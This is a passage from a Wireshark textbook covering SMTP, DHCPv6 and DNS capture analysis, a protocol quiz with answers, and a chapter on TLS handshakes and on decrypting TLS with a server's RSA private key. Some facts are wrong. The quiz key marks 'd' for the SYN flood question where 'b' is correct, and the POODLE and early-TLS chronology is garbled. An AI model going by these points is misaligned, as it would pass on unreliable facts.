9. The  recipient  server  indicating  its  readiness  to  receive  the

message by responding with the code “250".

10. The  sender's  email  client  sends  the  message  body,  which

may include text, HTML, and attachments.

11. The  sender's  email  client  sends  the QUIT  command  to  end

the SMTP conversation.

12. The  recipient's  email  server  responds  with  a  goodbye

message.

SMTP also supports several other commands and features, such as authentication, encryption, and delivery status notifications, which can be used to enhance the functionality and security of the email system.

It is a widely used protocol for email communication, but it is not considered secure because it sends email messages in plain text. For this reason, it is often recommended to use SMTP with TLS or SSL encryption to provide secure email communication.

 

SMTP protocol analysis using Wireshark

SMTP protocol analysis using Wireshark involves capturing network traffic and examining the packets to understand how the protocol works and troubleshoot any issues. Here is an example of how to analyze SMTP traffic using Wireshark:

1. Start  Wireshark  and  select  the  network  interface  you  want

to capture traffic on.

2. Filter  the  traffic  to  show  only  SMTP  traffic  by  entering

"SMTP" in the filter box. See Figure 6.19:
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Figure 6.19: SMTP-filtered packets

3. Use  an  email  client  to  send  an  email.  In  this  example,  we

will use Microsoft Outlook to send an email.

4. Compose an email message and send it to a recipient.

5. Stop the Wireshark capture.

6. Analyze  the  captured  packets  to  understand  the  SMTP

protocol. As SMTP packet details are shown in Figure 6.20:
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Figure 6.20: SMTP packet details

7. The captured packets will show the various commands and

responses  exchanged  between  the  email  client  and  email

server during the SMTP conversation. For example, you will

see  packets  containing  the HELO/EHLO  command  sent  by  the

email  client  to  identify  itself,  and  packets  containing  the

greeting message from the email server.

8. You will also see packets containing the commands used to

specify  the  sender  and  recipient  email  addresses,  such  as

the MAIL  FROM  and RCPT  TO  commands,  as  well  as  packets

containing the message body and attachments.

By analyzing the packets, you can troubleshoot issues such as failed email delivery, slow email delivery, and other problems. For example, if you see packets being retransmitted or a high number of packet errors, it may indicate a network or connection issue that is affecting the SMTP conversation.

In addition, you can also use Wireshark to analyze SMTP logs to detect and prevent spam and other email-based attacks. For example, by examining the sender and recipient email addresses, email content, and SMTP commands, you can identify suspicious email traffic and take appropriate action.

So, using Wireshark to analyze SMTP traffic can provide valuable insights into how the protocol works and help troubleshoot any issues with email delivery. It can also help improve the security of your email system by detecting and preventing email-based attacks.

 

DHCPv6

Dynamic Host Configuration Protocol version 6 (DHCPv6) is a protocol used to automatically configure network devices with IPv6 addresses and other network configuration information, such as DNS server addresses, default gateway addresses, and domain name information.

DHCPv6 operates in a client-server architecture where DHCPv6 clients request configuration information from DHCPv6 servers. The process mainly involves the following steps, which are also

illustrated in Figure 6.21:

1. The  DHCPv6  client  sends  a  multicast  Solicit  message  to

discover available DHCPv6 servers on the network.

2. When  DHCPv6  servers  receive  a  Solicit  message,  they

respond  with  a  multicast  Advertise  message  containing

their configuration information.

3. The  DHCPv6  client  selects  one  or  more  DHCPv6  servers

from the Advertise messages and sends a multicast Request

message  to  request  configuration  information  from  the

selected servers.

4. The  DHCPv6  servers  respond  with  a  multicast  Reply

message  that  includes  the  requested  configuration

information.

5. The  DHCPv6  client  uses  the  configuration  information  to

configure its network settings, including its IPv6 address.
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Figure 6.21: DHCPv6 process

 

DHCPv6 uses a variety of message types, options, and flags to negotiate configuration information between DHCPv6 clients and servers. Some of the key message types used by DHCPv6 include:

Solicit:  Sent  by  DHCPv6  clients  to  discover  available DHCPv6 servers on the network.

Advertise:  Sent  by  DHCPv6  servers  to  advertise  their configuration information to DHCPv6 clients.

Request: Sent by DHCPv6 clients to request configuration information from selected DHCPv6 servers.

Reply: Sent  by  DHCPv6  servers  to  provide  configuration information to DHCPv6 clients.

Confirm: Sent by DHCPv6 clients to confirm that their IPv6 address is still valid.

Renew:  Sent  by  DHCPv6  clients  to  renew  their  lease  on their IPv6 address.

Rebind:  Sent  by  DHCPv6  clients  to  renew  their  lease  on their IPv6 address with any available DHCPv6 server on the network.

DHCPv6 also supports various options and flags that can be used to specify additional configuration information and control the behavior of the DHCPv6 clients and servers.

In culmination, DHCPv6 provides an efficient and automatic way to configure IPv6 addresses and other network settings for network devices, making it easier to manage large-scale IPv6 networks.

 

DHCPv6 protocol analysis using Wireshark

DHCPv6 protocol analysis using Wireshark involves capturing network traffic and examining the packets to understand how the protocol works and troubleshoot any issues. Here is an example of how to analyze DHCPv6 traffic using Wireshark:

1. Start  Wireshark  and  select  the  network  interface  you  want

to capture traffic on.

2. Filter  the  traffic  to  show  only  DHCPv6  traffic  by  entering

"dhcpv6" in the filter box. See Figure 6.22:
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Figure 6.22: DHCPv6 filtered packets

3. Use  a  DHCPv6  client  to  request  an  IPv6  address  from  a

DHCPv6  server.  In  this  example,  we  will  use  the  "dhclient"

command on a Linux machine to request an IPv6 address.

4. Run the "dhclient" command to request an IPv6 address from

the DHCPv6 server.

5. Stop the Wireshark capture.

6. Analyze  the  captured  packets  to  understand  the  DHCPv6

protocol. Figure  6.23  shows  the  expanded  DHCPv6  packet

details in the packet details pane.
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Figure 6.23: DHCPv6 packet details

7. The  captured  packets  will  show  the  various  messages

exchanged  between  the  DHCPv6  client  and  server  during

the address assignment process. For example, you will see

packets containing the Solicit message sent by the DHCPv6

client to discover available DHCPv6 servers on the network

and packets containing the Advertise message sent by the

DHCPv6 server to advertise its configuration information to

the client.

You will also see packets containing the Request message sent by the DHCPv6 client to request configuration information from the DHCPv6 server, and packets containing the Reply message sent by the DHCPv6 server to provide the requested configuration information, including the IPv6 address, to the client.

By analyzing the packets, you can troubleshoot issues such as failed address assignments, slow address assignments, and other problems. For example, if you see packets being dropped or a high number of packet errors, it may indicate a network or connection issue affecting the DHCPv6 conversation.

In addition, you can also use Wireshark to analyze DHCPv6 logs to detect and prevent rogue DHCPv6 servers and other DHCPv6-based attacks. For example, by examining the source and destination addresses, DHCPv6 options, and message types, you can identify suspicious DHCPv6 traffic and take appropriate action.

This way, using Wireshark to analyze DHCPv6 traffic can provide valuable insights into how the protocol works and help troubleshoot any issues with address assignment. It can also improve the security of your network by detecting and preventing DHCPv6-based attacks.

 

DNS

DNS stands for Domain Name System, and it is a protocol used to translate human-readable domain names (such as

www.example.com) into IP addresses (such as 192.0.2.1) that computers use to identify and communicate with one another over the internet.

DNS operates on a distributed system of servers, where each server maintains a database of domain names and their corresponding IP addresses. When a user enters a domain name in their web browser, the browser sends a request to a DNS resolver, which is responsible for looking up the IP address associated with that domain name.

The resolver then queries one or more DNS servers to obtain the IP address. If the first server queried does not have the IP address in its database, it will pass the request on to another server, and so on, until the IP address is found or until all servers have been queried.

Once the resolver has obtained the IP address, it returns it to the browser, which then uses the IP address to initiate a connection with the web server hosting the requested website.

DNS operates on UDP port 53 by default, and it uses a hierarchical structure of domain names, with the top-level domains (such as .com, .org, and .net) being managed by a central authority called the Internet Assigned Numbers Authority (IANA).

 

DNS protocol analysis using Wireshark

DNS protocol analysis using Wireshark involves capturing and analyzing network traffic to identify DNS requests and responses. Here are the steps to follow:

1. Start Wireshark and select the network interface to capture

traffic from.

2. Start the capture by clicking on the "Start" button or using

the Ctrl + E shortcut.

3. Perform  the  action  that  generates  DNS  traffic,  such  as

accessing a website or performing a ping test.

4. Stop the capture by clicking on the "Stop" button or using

the Ctrl + E shortcut.

5. Filter the captured packets by selecting the "DNS" protocol

in the Wireshark filter menu, or by using the "DNS" filter in

the filter bar. See Figure 6.24:
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Figure 6.24: DNS-filtered packets

6. Examine  the  filtered  packets  to  identify  the  DNS  requests

and  responses.  The  request  packets  will  have  a  "Query"

section  with  the  domain  name  being  queried,  while  the

response  packets  will  have  a  "Resource  Record"  section

with the corresponding IP address. As you can see in Figure

6.25:
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Figure 6.25: DNS packet details

7. Analyze the DNS traffic to identify any issues, such as slow

response  times  or  incorrect  IP  addresses.  You  can  use  the

Wireshark  statistics  and  analysis  tools  to  identify  patterns

and anomalies in the DNS traffic.

DNS protocol analysis using Wireshark can be useful for troubleshooting network issues, such as DNS resolution problems, and monitoring network traffic for security purposes. It can help identify unauthorized DNS traffic, such as DNS tunneling or DNS exfiltration, which can be used in cyber-attacks.

 

Conclusion

In conclusion, analyzing network traffic based on protocols using Wireshark is a critical skill for network administrators and security professionals. With Wireshark, it is possible to capture and analyze network traffic to identify the different protocols being used, as well as any issues or anomalies in the traffic. We have seen how to perform protocol analysis for IPv4/IPv6, ARP, ICMP, TCP, UDP, HTTP, FTP, DNS, SMTP, and DHCP traffic, which can be useful for troubleshooting network issues and identifying security threats.

In the next chapter, we will examine how to analyze and decrypt SSL/TLS traffic using Wireshark. SSL/TLS is a widely used encryption protocol for securing network communications, and it is crucial to analyze and decrypt SSL/TLS traffic to identify potential security threats. We will explore how Wireshark can be used to capture and decrypt SSL/TLS traffic, as well as how to identify potential security issues in SSL/TLS communications.

 

Questions

1. How  can  you  identify  an  HTTP  GET  request  in

Wireshark?

a) By looking for packets with the SYN and ACK flags set

in the TCP header.

b) By  looking  for  packets  with  the  DNS  query  flag  set  in

the DNS header.

c) By looking for packets with the FIN flag set in the TCP

header.

d)  By  looking  for  packets  with  the  GET  method  in  the

HTTP header.

2. How  can  you  identify  the  source  and  destination  IP

addresses of a packet in Wireshark?

a) By examining the TCP header of the packet.

b) By examining the HTTP header of the packet.

c) By examining the IP header of the packet.

d) By examining the UDP header of the packet.

3. How can you identify an ARP request in Wireshark?

a)  By  looking  for  packets  with  the  query  flag  set  in  the

DNS header.

b) By looking for packets with the ARP request opcode in

the ARP header.

c) By looking for packets with the SYN and ACK flags set

in the TCP header.

d) By looking for packets with the FIN flag set in the TCP

header.

4. How  can  you  determine  the  protocol  of  a  packet  in

Wireshark?

a) By examining the data payload of the packet.

b) By examining the MAC address of the packet.

c) By examining the IP address of the packet.

d) By examining the protocol field in the packet header.

5. How can you identify a DNS query in Wireshark?

a)  By  looking  for  packets  with  the  query  flag  set  in  the

DNS header.

b) By looking for packets with the SYN and ACK flags set

in the TCP header.

c) By looking for packets with the GET or POST method in

the HTTP header.

d) By looking for packets with the FIN flag set in the TCP

header.

6. How can you identify a TCP connection in Wireshark?

a)  By  looking  for  packets  with  the  query  flag  set  in  the

DNS header.

b) By looking for packets with the SYN and ACK flags set

in the TCP header.

c) By looking for packets with the GET or POST method in

the HTTP header.

d) By looking for packets with the FIN flag set in the TCP

header.

7. How can you identify an HTTP request in Wireshark?

a)  By  looking  for  packets  with  the  query  flag  set  in  the

DNS header.

b) By looking for packets with the SYN and ACK flags set

in the TCP header.

c) By looking for packets with the GET or POST method in

the HTTP header.

d) By looking for packets with the FIN flag set in the TCP

header.

8. What is the purpose of the Time-to-Live (TTL) field in

the IP header?

a) To limit the amount of time a packet can travel across

a network.

b) To limit the number of hops a packet can take across a

network.

c)  To  ensure  that  packets  are  delivered  in  the  correct

order.

d) To encrypt the data in the packet.

9. How can you identify a DHCP request in Wireshark?

a)  By  looking  for  packets  with  the  query  flag  set  in  the

DNS header.

b) By looking for packets with the SYN and ACK flags set

in the TCP header.

c)  By  looking  for  packets  with  the  DHCP  Discover

message type in the DHCP header.

d) By looking for packets with the FIN flag set in the TCP

header.

10. What is an SYN flood attack?

a) An attack floods a network with UDP packets.

b) An attack that floods a network with TCP SYN packets.

c) An attack that floods a network with HTTP requests.

d) An attack floods a network with ICMP packets.

 

Answers

1. d

2. c

3. b

4. d

5. a

6. b

7. c

8. b

9. c

10. d
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CHAPTER 7

 

Analyzing and Decrypting

SSL/TLS Traffic

 

Introduction

The chapter will start with an introduction to SSL/TLS, explaining their purpose and how they work. It will also discuss the differences between SSL and TLS and their various versions.

Next, the chapter will delve into the SSL/TLS handshake process. The SSL/TLS handshake is a crucial step in establishing a secure connection between the client and the server. During this process, the client and server negotiate the encryption algorithms and exchange keys to encrypt and decrypt the data.

We will then focus on the key exchange process. The key exchange is a critical part of the SSL/TLS handshake. It ensures that the client and server share a secret key that is used to encrypt and decrypt the data. We will discuss the various key exchange algorithms used in SSL/TLS and how they work.

Finally, the chapter will explore how to decrypt SSL/TLS traffic using Wireshark. Decrypting SSL/TLS traffic is a complex process that involves obtaining the server's private key and using it to decrypt the traffic. It will also discuss the various methods used to obtain the server's private key and how to use it to decrypt SSL/TLS traffic using Wireshark.

By the end of this chapter, you will have a clear understanding of SSL/TLS, the SSL/TLS handshake, key exchange, and the process of analyzing and decrypting SSL/TLS traffic using Wireshark.

 

Structure

In this chapter, we will discuss the following topics:

Introduction to SSL/TLS

The SSL/TLS Handshake

Key exchange

Decrypting SSL/TLS traffic using Wireshark

 

Objectives

The objective of this chapter is to provide a comprehensive and practical understanding of SSL/TLS protocols, their handshake process, key exchange, and how to analyze and decrypt SSL/TLS traffic using Wireshark. The chapter aims to introduce the reader to SSL/TLS and explain its purpose, working principles, and differences between SSL and TLS versions.

Additionally, the chapter aims to describe the SSL/TLS handshake process and its significance in establishing a secure connection between the client and server. It will also provide an in-depth explanation of the key exchange algorithms used in SSL/TLS and how to analyze them using Wireshark.

Finally, the chapter will discuss the various methods used to decrypt SSL/TLS traffic and how Wireshark can obtain and use the server's private key to decrypt the traffic. The objective of this chapter is to provide the reader with the knowledge and practical skills necessary to analyze and decrypt SSL/TLS traffic using Wireshark, which will enhance their ability to secure network traffic and protect sensitive information from potential eavesdropping and tampering.

 

Introduction to SSL/TLS

Secure Sockets Layer and Transport Layer Security (SSL/TLS) is a protocol that provides secure communication over the internet. It establishes an encrypted link between a web server and a client, such as a web browser or mobile device.

The main purpose of SSL/TLS is to ensure that the data transmitted between the server and client is protected from eavesdropping, tampering, and forgery. This is achieved by encrypting the data and authenticating the server to the client, which prevents man-in-the-middle attacks and other security threats.

SSL/TLS is important for several reasons:

Privacy:  SSL/TLS  ensures  that  sensitive  data,  such  as credit card numbers, passwords, and personal information, is protected from unauthorized access by encrypting it.

Authentication:  SSL/TLS  provides  server  authentication, which  ensures  that  the  client  is  communicating  with  the intended  server  and  not  a  fake  one,  thus  preventing phishing attacks.

Trust: SSL/TLS relies on trusted third-party entities called Certificate  Authorities  (CAs)  to  issue  digital  certificates that  verify  the  identity  of  the  server.  This  provides  clients with  assurance  that  they  are  communicating  with  a legitimate server.

Compliance:  SSL/TLS  is  often  required  for  compliance with regulations such as PCI-DSS, HIPAA, and GDPR.

To summarize, SSL/TLS is an essential protocol for securing internet communication and protecting sensitive data. It provides privacy, authentication, trust, and compliance, and is widely used in e-commerce, online banking, healthcare, and other industries where data security is critical.

 

The history of SSL/TLS

The history of SSL/TLS dates back to the early 1990s when the internet was becoming popular and the need for secure communication between clients and servers became evident. In 1994, Netscape Communications Corporation developed the first version of SSL, SSL 1.0, which was never released to the public due to security vulnerabilities.

In 1995, Netscape released SSL 2.0, which was the first public release of SSL. SSL 2.0 included several security features such as encryption and authentication, but it had several security weaknesses. For example, it did not support strong cipher suites, and it was vulnerable to man-in-the-middle attacks.

In 1996, SSL 3.0 was released, which addressed the security weaknesses of SSL 2.0. SSL 3.0 introduced stronger encryption algorithms and cipher suites, and it added support for message authentication codes (MACs) to ensure data integrity. SSL 3.0 became widely adopted and was used for several years.

In the early 2000s, several security vulnerabilities were discovered in SSL 3.0, including the POODLE attack, which allowed attackers to decrypt encrypted data. In response, the Internet Engineering Task Force (IETF) developed a new protocol, called Transport Layer Security (TLS), which is based on SSL 3.0 but with enhanced security features.

TLS 1.0 was released in 1999, followed by TLS 1.1 in 2006 and TLS 1.2 in 2008. TLS 1.2 is currently the most widely used version of TLS, and it includes several security enhancements such as support for stronger cipher suites, improved key exchange mechanisms, and better authentication.

In 2018, TLS 1.3 was released, which provides even stronger security features such as improved encryption and key exchange mechanisms. It eliminates several security vulnerabilities present in previous versions of TLS. TLS 1.3 is currently being widely adopted and is expected to replace TLS 1.2 as the standard for secure communication on the internet.

 

SSL/TLS architecture and components

SSL and its successor TLS are cryptographic protocols used to secure communication over the internet. SSL/TLS provides security at the transport layer of the Open Systems Interconnection (OSI) model, which is responsible for the end-to-end delivery of data between applications.

The SSL/TLS architecture consists of several components that work together to provide security for internet communications. These components include:

Record  Protocol:  The  Record  Protocol  is  responsible  for the  encapsulation  of  higher-level  protocol  data  into transport layer packets. This protocol ensures the integrity and confidentiality of the data being transmitted.

Handshake  Protocol:  The  Handshake  Protocol  is responsible  for  the  initial  setup  of  a  secure  connection between two parties, that is, the Client and the Server. The Handshake  Protocol  involves  several  steps,  including  the negotiation  of  encryption  algorithms,  authentication,  and the exchange of keys between the client and server.

Change Cipher Spec protocol:  The  Change  Cipher  Spec Protocol  is  used  to  signal  a  change  in  the  encryption algorithms  and  keys  that  are  being  used  to  secure  the connection. This protocol’s purpose is to cause the pending state to be copied into the current state, which is converted after the handshake protocol.

Alert Protocol: The Alert Protocol is used to signal errors or abnormal conditions that may occur during the SSL/TLS session.

Cipher  suite:  A  cipher  suite  is  a  set  of  encryption algorithms,  key  exchange  algorithms,  and  MACs  that  are negotiated during the SSL/TLS handshake. The cipher suite is  used  to  encrypt  and  decrypt  data,  authenticate  the parties  involved  in  the  communication,  and  ensure  the integrity of the data being transmitted.

Public Key Infrastructure (PKI):  A  PKI  is  a  system  that provides  a  framework  for  the  secure  exchange  of  digital certificates.  Digital  certificates  are  used  to  verify  the identity of a party involved in the SSL/TLS communication.

Certificate  Authority  (CA): CA  is  a  trusted  third  party that  issues  digital  certificates.  CAs  are  responsible  for verifying the identity of the party requesting the certificate and issuing the certificate.

Digital  certificate:  A  digital  certificate  is  an  electronic document  that  verifies  the  identity  of  a  party  involved  in the  SSL/TLS  communication.  The  digital  certificate includes information such as the party's public key, the CA that issued the certificate, and the period of validity for the certificate.

Trust  store:  A  trust  store  is  a  collection  of  trusted  CA certificates  that  are  used  to  verify  the  identity  of  parties involved  in  SSL/TLS  communication.  A  trust  store  is maintained by the operating system or browser being used for the SSL/TLS communication.

To summarize, SSL/TLS architecture consists of several components that work together to provide secure communication over the internet. These components include the Record Protocol, Handshake Protocol, Change Cipher Spec Protocol, Alert Protocol, Cipher Suite, PKI, Certificate Authority (CA), Digital Certificate, and Trust Store.

Here is a simplified diagram of the SSL/TLS architecture is

illustrated in Figure 7.1:
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Figure 7.1: SSL/TLS Architecture

 

The SSL/TLS Handshake

The SSL/TLS handshake is a process that enables a client and server to establish a connection over the internet securely. The handshaking process between the client and server consists of a series of messages/commands that enable them to agree on various cryptographic parameters needed for establishing the session, verify each other's identities, and generate a shared secret key that will be used for encryption. Essentially, the SSL/TLS handshake sets up the foundation for secure and encrypted communication between the client and server.

 

TLS versus SSL Handshakes

Transport Layer Security (TLS) is a newer version of the Secure Sockets Layer (SSL) protocol originally developed to secure HTTP connections. While SSL is no longer considered secure and has been replaced by TLS, many people still use the term SSL to refer to the process of establishing a secure connection over the internet. In reality, what they are referring to is the TLS handshake, which is the updated and more secure version of the SSL handshake.

 

The TLS Handshake process

When a user accesses a website using HTTPS, a TLS handshake occurs when the browser communicates with the web server. The TLS handshake also occurs for other HTTPS communication types, such as DNS over HTTPS queries and API calls. Before the TLS handshake, a TCP connection must be established through a TCP handshake. Once the TCP connection is established, the TLS handshake establish a secure connection between the client and server.

 

What happens during a TLS Handshake

During a TLS handshake, the client and server engage in several steps, which include:

1. Agreeing  upon  a  version  of  TLS  (such  as  TLS  1.0,  1.2,  1.3,

etc.) that they will both use for secure communication.

2. Selecting  the  cipher  suite  [combination  of  encryption

algorithm,  key  exchange  algorithm,  and message

authentication  code  (MAC)]  that  will  be  used  for  data

encryption and decryption.

3. Authenticating the identity of the server by verifying its SSL

certificate,  which  includes  the  server's  public  key  and  the

digital signature of the certificate authority.

4. Generating  session  keys  to  be  used  for  symmetric

encryption  after  the  handshake  is  complete,  ensuring  that

subsequent communication between the client and server is

secure and encrypted.

 

What are the steps of a TLS handshake

The TLS handshake is a complex and intricate process that enables secure communication between a client and a server. It involves a series of datagrams, or messages, exchanged between the two parties, where they exchange the necessary information to complete the handshake and establish a secure connection.

The steps of a TLS handshake differ based on the key exchange algorithm used and the cipher suites supported by both parties. For instance, the RSA key exchange algorithm, which is no longer considered secure, follows a specific sequence of steps listed as follows:

1. The client sends a "client  hello" message with TLS version,

supported “cipher suites”, and "client random" bytes.

2. The  server  responds  with  its  SSL  certificate,  chosen  cipher

suite, and "server random" bytes.

3. The  client  verifies  the  server's  SSL  certificate  with  the

certificate authority.

4. The  client  sends  a  "premaster  secret"  encrypted  with  the

server's public key.

The “pre-master  secret”  is  a  random  string  of  bytes  that  the

client generates and sends to the server. The purpose of the

pre-master secret is to provide a consistent and secure way

to derive the master secret, which is then used to generate

the session keys for encryption and authentication.

5. The  premaster  secret  is  decrypted  by  the  server  using  its

private key.

6. Both  client  and  server  generate  session  keys  using  the

client random, server random, and premaster secret.

7. The client sends an encrypted "finished" message.

8. The server sends an encrypted "finished" message.

9. TLS  handshake  is  complete,  and  communication  continues

using session keys.

Once the handshake is complete, the two parties can communicate securely using the agreed-upon cryptographic algorithms and the newly established shared secret key for encryption.

While all TLS handshakes utilize asymmetric cryptography, not all will use the private key in the process of generating session keys. For instance, an ephemeral Diffie-Hellman calculates a matching premaster secret separately using the DH parameters exchanged by both parties, followed by creating session keys using the premaster secret, client random, and server random.

An ephemeral Diffie-Hellman handshake steps are defined below:

1. The client sends a "client  hello" message with TLS version,

client random, and cipher suites.

2. The server responds with an SSL certificate, selected cipher

suite, and server random.

3. The server computes a digital signature of all messages up

to this point.

4. The client verifies the server's digital signature.

5. The client sends its Diffie-Hellman parameter to the server.

6. Both  the  client  and  server  calculate  a  matching  premaster

secret separately.

7. Both  the  client  and  server  calculate  session  keys  from  the

premaster secret, client random, and server random.

8. The client sends an encrypted "finished" message.

9. The server sends an encrypted "finished" message.

10. TLS  handshake  is  complete,  and  communication  continues

using session keys.

In conclusion, the TLS handshake is a crucial and intricate process that enables secure communication between clients and servers, establishing shared secret keys that allow encrypted communication.

 

What is different about a handshake in TLS 1.3

TLS 1.3 introduces several improvements that enhance the security and speed of the protocol. One of the most significant changes is how TLS 1.3 handles the handshake process.

A handshake in TLS 1.3 is different from a handshake in TLS 1.2

in several ways. Here is a Table 7.1 that summarizes some of the main differences and improvements:

Aspect                TLS 1.2                     TLS 1.3

Number of      Two or more, depending on the   One or zero, depending on

round trips       key exchange algorithm and      the use of pre-shared keys

the use of session resumption

Cipher suites     Negotiated in the clear by the     Pre-negotiated by the client

client and server based on a list of supported

groups

Key exchange    RSA, DHE, ECDHE, etc.         Only DHE and ECDHE algorithms

Encryption of    Only after the server sends the    From the second message handshake      ServerHelloDone message       (ServerHello) onwards messages

Server           Based on certificates signed by    Based on certificates or pre-

authentication   trusted authorities                shared keys

Client            Optional, based on certificates     Optional, based on

authentication   signed by trusted authorities      certificates or pre-shared

keys

Session          Based on session IDs or session   Based on pre-shared keys resumption      tickets                        derived from previous

sessions

Post-             Not supported                   Supported for new session handshake                                tickets, post-handshake messages                                 authentication, and key

updates

Table 7.1: TLS 1.3 main differences and improvements

As you can see, TLS 1.3 offers more security and efficiency than TLS 1.2 by reducing the number of round trips, encrypting more of the handshake, eliminating weak cipher suites and key exchange algorithms, and supporting post-handshake messages. Additionally, the server generates the master secret, which saves time during the handshake. Finally, TLS 1.3 achieves secure symmetric encryption, which enhances the security of the entire protocol.

 

Key exchange Key exchange is a crucial process in cryptography that enables two parties to communicate securely over an unsecured channel like the Internet. The process involves the secure exchange of cryptographic keys between two parties, establishing a shared secret key that can be used for encryption and decryption of data.

The primary objective of key exchange is to ensure that any eavesdropper attempting to intercept the communication between the two parties cannot access the exchanged keys. The exchanged keys must remain a secret between the two communicating parties, as any leakage of the key information will compromise the security of the communication.

 

Key exchange: A must for secure File Transfers

When transmitting sensitive data, it is crucial to ensure its confidentiality during transmission. This is where secure file transfer protocols like FTPS, HTTPS, and SFTP come into play. These protocols encrypt the data using symmetric encryption, which requires the two communicating parties to have a shared key to encrypt and decrypt messages.

However, it is not easy to establish a shared key between two parties who are geographically separated and may have never met before. The key must be kept secret from any eavesdropper who might intercept the communication. If the key is compromised, all the files sent between the two parties could be decrypted.

To address this problem, key exchange protocols were developed. These protocols allow two parties to securely exchange symmetric keys over insecure networks like the internet. They are designed to be easy to use, highly scalable, and suitable for business use, where high-volume, sensitive transactions are carried out regularly over vast distances.

To summarize, key exchange is vital to secure file transfers because it allows two parties to establish a shared secret key that can be used for encryption and decryption of data. Key exchange protocols provide a secure and scalable method of exchanging keys over insecure networks like the Internet, ensuring that sensitive information remains confidential during transmission.

 

SSL key exchange

SSL key exchange is a crucial process in SSL/TLS-protected file transfer protocols such as FTPS and HTTPS. This process is performed during the SSL handshake, the preliminary step before any encrypted message or file exchange occurs.

When a client application, like a web browser or file transfer client, requests a connection to the server, it sends a message called the Client Hello. This message typically includes random data, cipher suites supported by the client, and other parameters. The cipher suite specifies the algorithms for key exchange, symmetric encryption, and message authentication.

The server receives the Client Hello and selects the best cipher suite from its list of supported cipher suites. Once the server selects the desired cipher suite, it effectively chooses the key exchange algorithm associated with it.

The client and server then start the key exchange process using the key exchange algorithm defined in the chosen cipher suite. This process is critical because it enables both the parties to establish a shared secret key that can be used for the encryption and decryption of data, ensuring that any exchanged keys are kept secret from any eavesdropper.

SFTP has a similar process for key exchange as SSL/TLS-protected file transfer protocols.

 

Popular key exchange algorithms

When two parties engage in a key exchange process, they establish a shared secret key for secure communication. The sender initiates the exchange, while the receiver receives the keys and establishes the shared secret with the sender. There are various methods for key exchange, including the popular Diffie-Hellman, Elliptic Curve Cryptography (ECC), and RSA algorithms.

Diffie-Hellman  key  exchange:  In  the  Diffie-Hellman  key exchange,  both  parties  generate  a  public  and  private  key. These  keys  are  exchanged,  and  each  party  computes  a shared  secret  key  using  its  private  key  and  the  received public  key.  The  shared  secret  key  is  then  used  for encryption and decryption of data.

Elliptic Curve Cryptography (ECC): ECC is another type of  public-key  cryptography  that  utilizes  elliptic  curves.  In ECC key exchange, both parties generate a private key and a  corresponding  public  key.  They  exchange  their  public keys.  Each  party  uses  its  private  key  and  the  received public  key  to  compute  a  shared  secret  key.  This  shared secret key is used for encryption and decryption of data.

RSA  key  exchange: RSA  is  a  popular  public-key cryptography  algorithm  that  can  also  be  used  for  key exchange. In this method, the sender encrypts a secret key using the receiver's public key. The receiver then decrypts the  encrypted  secret  key  using  its  private  key  and establishes a shared secret key with the sender.

It is critical to use strong cryptographic algorithms and protocols for key exchange to ensure that the shared keys are kept secret from any potential attackers. By establishing a shared secret key through key exchange, two parties can securely communicate over the internet with confidentiality and integrity.

 

Decrypting SSL/TLS traffic using Wireshark

Currently, a large proportion of online data is protected through encryption using SSL or TLS, even for internal applications. This makes it more difficult to analyze network traffic using Wireshark, a tool used for this purpose. To decrypt TLS traffic in Wireshark, it is necessary to have the corresponding private key that matches the public key used by the server during the TLS handshake. Once this key has been obtained, there are specific steps that can be followed to decrypt the TLS traffic using the RSA key.

To analyze and decrypt SSL/TLS traffic using Wireshark, follow these steps:

1. Capture the SSL/TLS traffic: Start capturing the SSL/TLS

traffic  using  Wireshark.  To  do  this,  select  the  interface  you

want to capture from, and then click the Start button.

2. Locate  the  SSL/TLS  traffic: Filter  out  the  SSL/TLS  traffic

which  you  wish  to  analyze,  using  the  display  filter  located

below the menu bar.

3. Inspect  the  Server  Hello  packet:  Look  for  the  Server

Hello packet, the second packet in the handshake process.

In  this  packet,  you  can  find  information  about  the  cipher

suite used in the SSL/TLS connection. Figure 7.2 shows the

packet captured of HTTPS traffic:
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Figure 7.2: HTTPS captured traffic

4. Identify  the  cipher  suite:  Upon  inspecting  the  Server

Hello packet during a TLS handshake, it is revealed that the

selected cipher suite relies on RSA and AES, as shown in the

Figure 7.3:
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Figure 7.3: Cipher suite

5. To decrypt the SSL/TLS traffic, you need to provide the RSA

private  key  of  the  server.  This  will  allow  Wireshark  to

decrypt the pre-master secret, which is sent by the client to

the  server,  and  is  encrypted  with  the  server's  public  RSA

key. Refer to Figure 7.4:
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Figure 7.4: SSL/TLS traffic

6. Add  the  RSA  private  key:  Go  to  Wireshark  preferences,

search for the TLS protocol, as shown in Figure 7.5, and add

the “RSA private key” of the server to the “RSA keys list”.

Note: The RSA private key of the server is a secret value that only the server knows and uses to decrypt the messages from the client. The user cannot obtain the RSA private key of the server from any other location or process, unless the server is compromised or willingly shares it. Therefore, in this step we assume that we have access to the RSA private key of the server. If the user does not have access to the RSA private key of the server, then this step cannot be performed and Wireshark will not be able to decrypt the TLS traffic.
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Figure 7.5: RSA keys list

7. Decrypt  the  SSL/TLS  traffic:  By  clicking  the  “+”  button,

you can add the RSA private key and apply the changes, as

shown  in Figure  7.6.  Once  the  RSA  private  key  is  added,

Wireshark can decrypt the SSL/TLS traffic.
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Figure 7.6: TLS decrypt

8. Once  the  SSL/TLS  traffic  is  decrypted,  you  can  view  the

decrypted  data  in  the "Decrypted  TLS"  tab,  as  shown  in

Figure  7.7.  You  can  also  use  the  "Follow  TLS  stream"  or

"Follow HTTP stream" options to view the decrypted data

in a more readable format.
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Figure 7.7: Decrypted TLS

9. By  selecting "Follow  TLS  stream",  it  is  possible  to  view

the decrypted data, as shown in Figure 7.8:
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Figure 7.8: Follow TLS stream

 

10. When  selecting "Follow  HTTP  Stream",  the  decrypted

data can also be seen, as shown in Figure 7.9:
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Figure 7.9: Follow HTTP stream

Note: It is important to note that not all SSL/TLS traffic can be decrypted. Wireshark can only decrypt traffic that uses RSA key exchange and a symmetric cipher such as AES. Moreover, it is not advisable to use this method to intercept and decrypt SSL/TLS traffic without the owner's permission.

 

Conclusion In this chapter, you have learned about the basics of SSL/TLS, the protocol that secures the communication between a client and a server on the internet. You have also learned about the SSL/TLS handshake, the process that establishes a secure connection and negotiates the cryptographic parameters. You have explored the different key exchange methods that are used to exchange secret keys between the client and the server. Finally, you have learned how to decrypt SSL/TLS traffic using Wireshark, a popular network analysis tool, by providing the RSA private key of the server or using a pre-master secret file. By decrypting SSL/TLS traffic, you can inspect the application data and troubleshoot any issues that may arise.

